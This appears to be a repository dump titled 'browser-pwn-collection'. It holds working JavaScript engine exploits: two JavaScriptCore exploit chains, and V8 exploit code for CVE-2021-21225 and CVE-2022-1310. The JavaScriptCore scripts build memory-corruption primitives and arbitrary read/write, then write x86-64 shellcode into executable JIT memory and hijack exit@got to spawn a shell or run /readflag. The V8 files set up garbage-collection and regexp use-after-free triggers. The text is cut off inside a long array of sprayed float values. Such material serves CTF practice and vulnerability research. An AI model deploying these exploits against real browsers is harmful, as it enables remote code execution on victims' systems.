├── LICENSE ├── README.md ├── javascriptcore ├── invalid-nan-boxing │ └── pwn.js └── side-effect │ └── pwn.js └── v8 ├── CVE-2021-21225 └── pwn.js ├── CVE-2022-1310 └── pwn.js ├── CVE-2023-4427 ├── pwn.js └── writeup.md ├── CVE-2024-2887 ├── pwn.js └── writeup.md ├── CVE-2024-3159 ├── pwn.js ├── turbolizer.json └── writeup.md ├── CVE-2024-8194 └── pwn.js └── xctf-final-2024 └── pwn.js /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 o0o0o 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # browser-pwn-collection 2 | My browser pwn collections. Mainly JavaScript engine stuff. 3 | -------------------------------------------------------------------------------- /javascriptcore/invalid-nan-boxing/pwn.js: -------------------------------------------------------------------------------- 1 | let abuf = new ArrayBuffer(0x10); 2 | let bbuf = new BigUint64Array(abuf); 3 | let fbuf = new Float64Array(abuf); 4 | let __obj = { o: 0x1337, oo: 0x4141 }; 5 | 6 | let __a = { o: {} }; 7 | let __b = { o: 0x1337 }; 8 | function compare(__a, __b) { 9 | return __a.o === __b.o; 10 | } 11 | function jit_compare() { 12 | for (let i = 0; i < 0x10000; i++) { 13 | compare(__a, __b); 14 | } 15 | } 16 | jit_compare(); 17 | 18 | function deoptimize_compare() { 19 | let a = { x: 0x1337 }; 20 | let b = { o: 0x1337 }; 21 | for (let i = 0; i < 0x1000; i++) { 22 | try { compare(a, b); } catch (e) { } 23 | } 24 | } 25 | 26 | function fakeobj__(arg, a2) { 27 | for (let i in __obj) { 28 | __obj = [1]; 29 | let out = arg[i]; 30 | a2.o = out; 31 | } 32 | return a2.o; 33 | } 34 | 35 | function deoptimize_fakeobj__() { 36 | __obj = 0x414141; 37 | fakeobj__(0x414141, {}); 38 | } 39 | 40 | __fake = { o: {} }; 41 | function jit_fakeobj() { 42 | __obj = { o: 1234, oo: 1234 }; 43 | fakeobj__(__obj, __fake); 44 | for (let i = 0; i < 0x10000; i++) { 45 | fakeobj__(fbuf, __fake); 46 | } 47 | } 48 | 49 | jit_fakeobj(); 50 | 51 | buffer = new ArrayBuffer(8); 52 | view = new DataView(buffer); 53 | t = {}; 54 | 55 | function float2uint(value) { 56 | view.setFloat64(0, value); 57 | return view.getBigUint64(0); 58 | } 59 | 60 | function uint2float(value) { 61 | view.setBigUint64(0, value, true); 62 | return view.getFloat64(0, true); 63 | } 64 | 65 | function fakeobj(addr) { 66 | bbuf[0] = addr | 0xfffe000000000000n; 67 | let o = fakeobj__(fbuf, __fake); 68 | return o; 69 | } 70 | 71 | let arr_list = []; 72 | p = 13.37; 73 | for (let i = 0; i < 30; i++) { 74 | a = new Array(p, 1.1, 1.2, 1.3, 1.4, 1.5); 75 | arr_list.push(a); 76 | } 77 | 78 | obj_array = new Array({}, 1.1, 1.2, 1.3, 1.4, 1.5); 79 | float_array = new Array(1.1, 1.2, 1.3, 1.4, 1.5); 80 | 81 | let fake_cell = uint2float(0x0108240700006240n - 0x2000000000000n); 82 | let container = { 83 | header: fake_cell, 84 | butterfly: arr_list[1], 85 | pad1: uint2float(0n), 86 | pad2: uint2float(0n) 87 | }; 88 | let _addr = 0n; 89 | let toLeak = { o: container }; 90 | 91 | function run_cmp(_fbuf, leak_target) { 92 | let m = null; 93 | for (let i in __obj) { 94 | __obj = [1]; 95 | let out = _fbuf[i]; 96 | m = out; 97 | } 98 | return compare(leak_target, { o: m }); 99 | } 100 | function jit_run_cmp() { 101 | __obj = { o: 0x1337, oo: 0x4141 }; 102 | run_cmp(__obj, toLeak); 103 | for (let i = 0; i < 0x10000; i++) { 104 | run_cmp(fbuf, toLeak); 105 | } 106 | } 107 | jit_run_cmp(); 108 | jit_compare(); 109 | 110 | function dirty_addrof() { 111 | let i = 0; 112 | for (i = 0x7f0000000130n; i < 0x7fffffff0130n; i += 0x10000n) { 113 | bbuf[0] = i | 0xfffe000000000000n; 114 | let r = run_cmp(fbuf, toLeak); 115 | if (r) { 116 | return i; 117 | } 118 | } 119 | throw ("[!] not found: " + i.toString(16)); 120 | } 121 | 122 | function hex(x) { 123 | return "0x" + x.toString(16); 124 | } 125 | 126 | fake_arr_addr = dirty_addrof() + 0x10n; 127 | fake_arr = fakeobj(fake_arr_addr); 128 | container.header = uint2float(float2uint(fake_arr[0]) - 0x2000000000000n); 129 | 130 | function arb_readn(addr, o) { 131 | fake_arr[1] = uint2float(addr); 132 | return arr_list[1][o]; 133 | } 134 | 135 | function arb_write_uintn(addr, value, offset) { 136 | fake_arr[1] = uint2float(addr); 137 | arr_list[1][offset] = uint2float(value); 138 | } 139 | 140 | function arb_write_float(addr, value) { 141 | fake_arr[1] = uint2float(addr); 142 | arr_list[1][0] = (value); 143 | } 144 | 145 | arb_write_uintn(fake_arr_addr + 0x100n, 0x4141414141414141n, 0); 146 | 147 | function wasm_func() { 148 | var wasm_import = { 149 | env: {} 150 | }; 151 | var buffer = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); 152 | let m = new WebAssembly.Instance(new WebAssembly.Module(buffer), wasm_import); 153 | let h = new Uint8Array(m.exports.memory.buffer); 154 | return m.exports.main; 155 | } 156 | 157 | function addrof(any_obj) { 158 | arr_list[2][0] = any_obj; 159 | fake_arr[2] = uint2float(0x0008240700006240n); 160 | r = float2uint(arr_list[2][0]); 161 | fake_arr[2] = uint2float(0x01082409000061d0n); 162 | return r; 163 | } 164 | 165 | wasm_function = wasm_func(); 166 | wasm_function_addr = addrof(wasm_function); 167 | code_addr = wasm_function_addr + 0x40n - 0x10n; 168 | code_addr = float2uint(arb_readn(code_addr, 2)); 169 | target_code_addr = code_addr - 0x4000n + 0x20n; 170 | 171 | var shellcode = [ 172 | 0x6e69622fb848686an, 173 | 0xe7894850732f2f2fn, 174 | 0x2434810101697268n, 175 | 0x6a56f63101010101n, 176 | 0x894856e601485e08n, 177 | 0x050f583b6ad231e6n 178 | ]; 179 | 180 | function get_jit_function() { 181 | function target(num) { 182 | for (var i = 2; i < num; i++) { 183 | if (num % i === 0) { 184 | return false; 185 | } 186 | } 187 | return true; 188 | } 189 | for (var i = 0; i < 0x5000; i++) { 190 | target(i); 191 | } 192 | for (var i = 0; i < 0x5000; i++) { 193 | target(i); 194 | } 195 | for (var i = 0; i < 0x5000; i++) { 196 | target(i); 197 | } 198 | 199 | return target; 200 | } 201 | 202 | let f = get_jit_function(); 203 | let addr_f = addrof(f); 204 | let addr_wtf = float2uint(arb_readn(addr_f, 3)); 205 | let addr_wtf2 = float2uint(arb_readn(addr_wtf + 8n, 0)); 206 | container.header = uint2float(float2uint(fake_arr[0]) - 0x2000000000000n); 207 | let addr_wtf3 = float2uint(arb_readn(addr_wtf2-0x10n, 0x2)); 208 | container.header = uint2float(float2uint(fake_arr[0]) - 0x2000000000000n); 209 | let addr_wtf4 = float2uint(arb_readn(addr_wtf3-0x10n, 2)); 210 | 211 | let libjsc = addr_wtf4 - 0x7effb0n; 212 | let exit_got = libjsc + 0x1e96380n; 213 | arb_write_uintn(exit_got, target_code_addr, 0); 214 | for (let i = 0; i < shellcode.length; i++) { 215 | arb_write_uintn(target_code_addr, BigInt(shellcode[i]), i); 216 | } 217 | 218 | Math.sin(1); 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | -------------------------------------------------------------------------------- /javascriptcore/side-effect/pwn.js: -------------------------------------------------------------------------------- 1 | buffer = new ArrayBuffer(8); 2 | view = new DataView(buffer); 3 | t = {} 4 | 5 | function float2uint(value) { 6 | view.setFloat64(0, value) 7 | return view.getBigUint64(0); 8 | } 9 | 10 | function uint2float(value) { 11 | view.setBigUint64(0, value, true); 12 | return view.getFloat64(0, true); 13 | } 14 | 15 | let pat = 13.37; 16 | let cow = 1.12345; 17 | let arr = [pat, 1.123, 1.123] 18 | 19 | function addrof(obj) { 20 | let arr = new Array(pat, 1.123, 1.123); 21 | function addrof_(arr, obj) { 22 | arr[1] = 1.1; 23 | tmp = obj + arr; 24 | return arr[0]; 25 | } 26 | let side_effect = { 27 | toString: () => { 28 | arr[0] = obj; 29 | } 30 | } 31 | for(let i = 0; i < 0x10000; i++) { 32 | addrof_(arr, {}); 33 | } 34 | let addr = addrof_(arr, side_effect); 35 | return float2uint(addr); 36 | } 37 | 38 | first = 1 39 | function fakeobj(addr) { 40 | let arr_fake = new Array(cow, cow, cow); 41 | addr = uint2float(addr); 42 | function fakeobj_(arr_fake, obj, addr) { 43 | arr_fake[1] = 1.1; 44 | tmp = obj + t; 45 | arr_fake[2] = addr; 46 | } 47 | let side_effect = { 48 | toString: () => { 49 | arr_fake[2] = { } // make an object 50 | return "string"; 51 | } 52 | } 53 | for(let i = 0; i < 0x10000; i++) { 54 | fakeobj_(arr, {}, 1.12345); 55 | } 56 | fakeobj_(arr_fake, side_effect, addr); 57 | return arr_fake[2]; 58 | } 59 | 60 | print("[*] enter stage 1") 61 | print("[*] ready to jit") 62 | print("[*] test stage 1 primitive...") 63 | test_arr = new Array(1, 2, 3); 64 | test_ptr = addrof(test_arr); 65 | if (fakeobj(test_ptr) !== test_arr) { 66 | print("[-] failed to setup stage 1 primitive") 67 | exit(0); 68 | } 69 | print("[+] setup stage 1 primitive!") 70 | 71 | print("[*] enter stage 2"); 72 | function hex(v) { 73 | return "0x"+v.toString(16); 74 | } 75 | 76 | p = 13.37 77 | let buffer_list = [] 78 | let view_list = [] 79 | let arr_list = [] 80 | for (let i = 0; i < 30; i++) { 81 | a = new Array(p, 1.1, 1.2, 1.3, 1.4, 1.5); 82 | arr_list.push(a); 83 | } 84 | 85 | let fake_cell = uint2float(0x0108240700006240n-0x2000000000000n); 86 | let container = { 87 | header: fake_cell, 88 | butterfly: arr_list[1], 89 | pad1: uint2float(0n), 90 | pad2: uint2float(0n) 91 | } 92 | print("[+] addrof container: "+hex(addrof(container))); 93 | print("[+] addrof a: "+hex(addrof(arr_list[1]))); 94 | fake_arr = fakeobj(addrof(container)+0x10n) 95 | print("[*] fake length: "+fake_arr.length) 96 | print("[*] jscell: "+hex(float2uint(fake_arr[0]))) 97 | container.header = uint2float(float2uint(fake_arr[0])-0x2000000000000n); 98 | 99 | print("[*] enter stage 3"); 100 | bu = new ArrayBuffer(10); 101 | dv = new DataView(bu); 102 | dv.setFloat64(0, pat); 103 | 104 | var padding = [1.1,2.2,3.3,4.4,5.5]; 105 | var unboxed = [pat,2.2,3.3]; 106 | var boxed = [{}]; 107 | let arb_rw_arr = [arr_list[1]] 108 | 109 | function arb_read(addr) { 110 | // set the value of butterfly 111 | fake_arr[1] = uint2float(addr); 112 | return arr_list[1][0]; 113 | } 114 | function arb_read1(addr) { 115 | // set the value of butterfly 116 | fake_arr[1] = uint2float(addr); 117 | return arr_list[1][2]; 118 | } 119 | function arb_read2(addr) { 120 | // set the value of butterfly 121 | fake_arr[1] = uint2float(addr); 122 | return arr_list[1][2]; 123 | } 124 | function arb_read3(addr) { 125 | // set the value of butterfly 126 | fake_arr[1] = uint2float(addr); 127 | return arr_list[1][3]; 128 | } 129 | function arb_readn(addr, o) { 130 | // set the value of butterfly 131 | fake_arr[1] = uint2float(addr); 132 | return arr_list[1][o]; 133 | } 134 | function arb_write_uint(addr, value) { 135 | fake_arr[1] = uint2float(addr); 136 | arr_list[1][0] = uint2float(value); 137 | } 138 | function arb_write_float(addr, value) { 139 | fake_arr[1] = uint2float(addr); 140 | arr_list[1][0] = (value); 141 | } 142 | 143 | // print("[*] test arb_read(container): "+hex(float2uint(arb_read(addrof(container)+0x10n)))); 144 | 145 | function wasm_func() { 146 | var wasm_import = { 147 | env: { 148 | puts: function puts(index) { 149 | print(utf8ToString(h, index)); 150 | } 151 | } 152 | }; 153 | 154 | var buffer = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 137, 128, 128, 128, 0, 2, 155 | 96, 1, 127, 1, 127, 96, 0, 0, 2, 140, 128, 128, 128, 0, 1, 3, 101, 110, 118, 4, 112, 117, 156 | 116, 115, 0, 0, 3, 130, 128, 128, 128, 0, 1, 1, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 157 | 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 146, 128, 128, 128, 0, 2, 6, 158 | 109, 101, 109, 111, 114, 121, 2, 0, 5, 104, 101, 108, 108, 111, 0, 1, 10, 141, 128, 128, 159 | 128, 0, 1, 135, 128, 128, 128, 0, 0, 65, 16, 16, 0, 26, 11, 11, 146, 128, 128, 128, 0, 1, 0, 160 | 65, 16, 11, 12, 72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100, 0 161 | ]); 162 | let m = new WebAssembly.Instance(new WebAssembly.Module(buffer), wasm_import); 163 | let h = new Uint8Array(m.exports.memory.buffer); 164 | return m.exports.hello; 165 | } 166 | 167 | // find RWX page using wasm function 168 | wasm_function = wasm_func(); 169 | wasm_function_addr = addrof(wasm_function); 170 | print("[*] addrof(wasm_function): "+hex(wasm_function_addr)) 171 | code_addr = wasm_function_addr+0x40n-0x10n; 172 | code_addr = float2uint(arb_read2(code_addr)); 173 | print("[+] get code address: "+hex(code_addr)); 174 | target_code_addr = code_addr-0x4000n+0x20n; 175 | print("[*] target address: "+hex(target_code_addr)) 176 | 177 | // SYS_execve('/readflag', null, null); 178 | var shellcode = [ 179 | 0x72bf48006a583b6an, 180 | 0x5767616c66646165n, 181 | 0x5700000067c7c748n, 182 | 0x66646165722fbf48n, 183 | 0x3148e7894857616cn, 184 | 0x9090050fd23148f6n, 185 | ] 186 | 187 | // remote crash here :( 188 | for (let i = 0; i < shellcode.length; i++) { 189 | arb_write_uint(target_code_addr, BigInt(shellcode[i])); 190 | target_code_addr += 8n; 191 | } 192 | 193 | getJITFunction = function (){ 194 | function target(num) { 195 | for (var i = 2; i < num; i++) { 196 | if (num % i === 0) { 197 | return false; 198 | } 199 | } 200 | return true; 201 | } 202 | for (var i = 0; i < 0x5000; i++) { 203 | target(i); 204 | } 205 | for (var i = 0; i < 0x5000; i++) { 206 | target(i); 207 | } 208 | for (var i = 0; i < 0x5000; i++) { 209 | target(i); 210 | } 211 | 212 | return target; 213 | } 214 | 215 | // find rwx 216 | let f = getJITFunction(); 217 | let addr_f = addrof(f); 218 | let addr_wtf = float2uint(arb_read2(addr_f+0x18n-0x10n)); 219 | let addr_wtf2 = float2uint(arb_read(addr_wtf+8n)); 220 | let addr_wtf3 = float2uint(arb_read2(addr_wtf2-0x10n)); 221 | let addr_wtf4 = float2uint(arb_read(addr_wtf3+0x10n)); 222 | let libjsc = addr_wtf4-0xdb3550n 223 | let exit_got = libjsc+0x1e90310n; 224 | let text_base = float2uint(arb_readn(float2uint(arb_read3(addr_wtf+0x10n))-0x20n, 4))-0x4e740n; 225 | // let libc_base = float2uint(arb_read(text_base+327560n))-0x76950n // fwrite 226 | 227 | print(hex(addr_f)); 228 | print(hex((addr_wtf))); 229 | print(hex(addr_wtf2)); 230 | print(hex(addr_wtf3)); 231 | print(hex(addr_wtf4)); 232 | print(hex(libjsc)); 233 | print(hex(text_base)); 234 | 235 | arb_write_uint(exit_got, target_code_addr-0x30n); // overwrite exit@got to our shellcode 236 | print("[+] ready to execute"); 237 | -------------------------------------------------------------------------------- /v8/CVE-2021-21225/pwn.js: -------------------------------------------------------------------------------- 1 | new ArrayBuffer(0x7fe00000); 2 | 3 | var a = [ 4 | 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 5 | /* hole */, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 6 | 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 7 | 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 8 | 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS 9 | ]; 10 | 11 | // var fake_object = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8] 12 | // fake_object is defined in information_leak in order to leak its data 13 | 14 | var addr = helper.lltof(helper.fake_object_arr_buffer_addr) 15 | k.fill(0); 16 | var fake_jsarray_object_ptr = [ 17 | 1.1, 2.2, 3.3, 4.4, 1.1, 2.2, 3.3, 4.4, addr 18 | ]; 19 | Array.prototype[9] = { 20 | valueOf: function () { 21 | a.length = 1; 22 | k.length = 1; 23 | new ArrayBuffer(0x7fe00000); // force gc 24 | Object.prototype.valueOf = function () { 25 | console.log("trigger"); 26 | target_array = this; 27 | delete Object.prototype.valueOf; 28 | throw 'bailout'; 29 | return 42; 30 | } 31 | delete Array.prototype[9]; 32 | return 1.1; 33 | } 34 | }; 35 | 36 | -------------------------------------------------------------------------------- /v8/CVE-2022-1310/pwn.js: -------------------------------------------------------------------------------- 1 | class Helpers { 2 | constructor() { 3 | this.buf = new ArrayBuffer(8); 4 | this.dv = new DataView(this.buf); 5 | this.u8 = new Uint8Array(this.buf); 6 | this.u32 = new Uint32Array(this.buf); 7 | this.u64 = new BigUint64Array(this.buf); 8 | this.f32 = new Float32Array(this.buf); 9 | this.f64 = new Float64Array(this.buf); 10 | 11 | this.roots = new Array(0x30000); 12 | this.index = 0; 13 | } 14 | 15 | pair_i32_to_f64(p1, p2) { 16 | this.u32[0] = p1; 17 | this.u32[1] = p2; 18 | return this.f64[0]; 19 | } 20 | 21 | i64tof64(i) { 22 | this.u64[0] = i; 23 | return this.f64[0]; 24 | } 25 | 26 | f64toi64(f) { 27 | this.f64[0] = f; 28 | return this.u64[0]; 29 | } 30 | 31 | set_i64(i) { 32 | this.u64[0] = i; 33 | } 34 | 35 | set_l(i) { 36 | this.u32[0] = i; 37 | } 38 | 39 | set_h(i) { 40 | this.u32[1] = i; 41 | } 42 | 43 | get_i64() { 44 | return this.u64[0]; 45 | } 46 | 47 | ftoil(f) { 48 | this.f64[0] = f; 49 | return this.u32[0]; 50 | } 51 | 52 | ftoih(f) { 53 | this.f64[0] = f; 54 | return this.u32[1]; 55 | } 56 | 57 | add_ref(object) { 58 | this.roots[this.index++] = object; 59 | } 60 | 61 | mark_sweep_gc() { 62 | new ArrayBuffer(0x7fe00000); 63 | } 64 | 65 | scavenge_gc() { 66 | for (var i = 0; i < 8; i++) { 67 | // fill up new space external backing store bytes 68 | this.add_ref(new ArrayBuffer(0x200000)); 69 | } 70 | this.add_ref(new ArrayBuffer(8)); 71 | } 72 | 73 | hex(i) { 74 | return "0x" + i.toString(16).padStart(16, "0"); 75 | } 76 | 77 | breakpoint() { 78 | this.buf.slice(); 79 | } 80 | } 81 | 82 | var helper = new Helpers(); 83 | 84 | var re = new RegExp('foo', 'g'); 85 | 86 | var match_object = {}; 87 | match_object[0] = { 88 | toString: function () { 89 | return ""; 90 | } 91 | }; 92 | re.exec = function () { 93 | helper.mark_sweep_gc(); 94 | delete re.exec; 95 | re.lastIndex = 1073741823; 96 | new Array(256); 97 | RegExp.prototype.exec = function () { 98 | throw ''; 99 | } 100 | return match_object; 101 | }; 102 | try { 103 | var newstr = re[Symbol.replace]("fooooo", ".$"); 104 | } catch (e) { } 105 | helper.scavenge_gc(); 106 | helper.mark_sweep_gc(); 107 | fake_object_array = [ 108 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 109 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 110 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 111 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 112 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 113 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 114 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 115 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 116 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 117 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 118 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 